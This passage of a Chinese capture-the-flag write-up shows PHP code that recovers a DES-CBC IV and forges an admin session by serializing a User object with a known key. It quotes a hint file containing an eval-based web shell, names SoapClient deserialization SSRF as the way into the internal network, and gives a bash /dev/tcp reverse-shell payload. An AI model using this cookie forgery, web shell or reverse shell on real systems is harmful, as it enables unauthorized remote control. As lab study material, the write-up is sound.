我们现在已知明文、密文、key,然后去求IV,看加密的图可以知道,第一块中加密的值是IV和分组一的异或值,如果我们把iv和分组一互换的话,是不会影响后面的密文的,那么在这道题里,我们通过把解密的iv,替换为我们明文的分组一,那么解密出来的明文的第一个分组就是IV,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
mt_srand(3946604448);
include "user.php";

echo mt_rand() . "\n";
for ($i = 2; $i <= 226; $i++) {
mt_rand();
}

echo mt_rand() . "\n";
echo mt_rand() . "\n";
echo strval(mt_rand() & 0x5f5e0ff);
//$username = "guest";
//$o = new User($username);
//echo $o->show();
//$ser_user = serialize($o);
//echo $ser_user . "\n";
//O:4:"User":1:{s:
//8:"username";s:5
//:"guest";}
//echo base64_decode("RjVqcnlFR2FEd0JMazFXSDJLZzhHZGw3Q0M2SkRNS2ZOY2FlTWMreDlSdFdoYVJXaXk4UHU4RW9zT3JnV0c5Nw==");
echo "\n";
//F5jryEGaDwBLk1WH2Kg8Gdl7CC6JDMKfNcaeMc+x9RtWhaRWiy8Pu8EosOrgWG97
$uid = openssl_decrypt('F5jryEGaDwBLk1WH2Kg8Gdl7CC6JDMKfNcaeMc+x9RtWhaRWiy8Pu8EosOrgWG97', 'des-cbc', "77889691", 0, 'O:4:"Use');
echo $uid;
$IV="85196940";
$username="admin";
$o = new User($username);
echo $o->show();
$ser_user =serialize($o);

$cipher = openssl_encrypt($ser_user, "des-cbc", "77889691", 0, $IV);
echo $cipher;
echo "\n";
echo base64_encode($cipher);

然后我们伪造成admin,复现到这的时候环境已经关了,看wp上面hind.php的内容是,

1
2
3
4
5
6
7
8
9
10
I left a shell in 10.10.1.12/index.php
try to get it!
<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}

然后要打内网,这里可以通过soapclient反序列化ssrf,

1
?cc=`$cc`;bash -i >& /dev/tcp/xxxxx/8888 0>&1

就可以反弹shell了,后面就没做了。